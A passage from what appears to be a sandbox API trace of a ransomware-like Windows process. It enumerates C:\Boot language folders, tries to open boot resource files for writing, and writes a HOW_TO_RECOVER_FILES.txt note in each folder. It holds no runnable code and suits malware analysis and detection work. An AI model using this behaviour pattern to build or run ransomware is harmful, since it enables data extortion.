lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x35e1730 | out: lpFileInformation=0x35e1730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560)) returned 1 [0069.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.683] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.683] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.685] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.685] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x35e1de0 | out: lpFileInformation=0x35e1de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1 [0069.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.685] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.685] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.687] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0069.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0069.688] CreateFileW (lpFileName="C:\\Boot\\de-DE\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\de-de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0069.689] GetFileType (hFile=0x6b0) returned 0x1 [0069.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0069.689] GetFileType (hFile=0x6b0) returned 0x1 [0069.690] WriteFile (in: hFile=0x6b0, lpBuffer=0x35e4898*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x35e4898*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0069.691] CloseHandle (hObject=0x6b0) returned 1 [0069.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.692] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0069.692] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.692] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.692] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.692] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.693] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.693] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.693] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0069.693] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0069.693] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.693] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.694] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.694] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0069.694] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0069.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.694] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.694] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x35f34f0 | out: lpFileInformation=0x35f34f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960)) returned 1 [0069.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.694] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.694] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.697] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.697] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x35f3ba0 | out: lpFileInformation=0x35f3ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0)) returned 1 [0069.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.888] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.915] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.917] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0069.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0069.917] CreateFileW (lpFileName="C:\\Boot\\el-GR\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\el-gr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0069.919] GetFileType (hFile=0x6b0) returned 0x1 [0069.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0069.919] GetFileType (hFile=0x6b0) returned 0x1 [0069.920] WriteFile (in: hFile=0x6b0, lpBuffer=0x313bf60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x313bf60*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0069.921] CloseHandle (hObject=0x6b0) returned 1 [0069.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.921] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-GB", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-GB", lpFilePart=0x0) returned 0xd [0069.922] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.922] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.922] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.922] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.922] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.922] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-GB", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-GB", lpFilePart=0x0) returned 0xd [0069.922] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.923] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.923] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.923] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0069.923] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.923] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-GB\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.923] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x314a8d0 | out: lpFileInformation=0x314a8d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158)) returned 1 [0069.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.924] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-GB\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.924] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.926] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-GB\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-GB\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0069.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0069.926] CreateFileW (lpFileName="C:\\Boot\\en-GB\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\en-gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0069.926] GetFileType (hFile=0x6b0) returned 0x1 [0069.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0069.926] GetFileType (hFile=0x6b0) returned 0x1 [0069.927] WriteFile (in: hFile=0x6b0, lpBuffer=0x314d2d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x314d2d0*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0069.928] CloseHandle (hObject=0x6b0) returned 1 [0069.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.928] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0069.928] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.929] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.929] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.929] FindNextFileW (in: 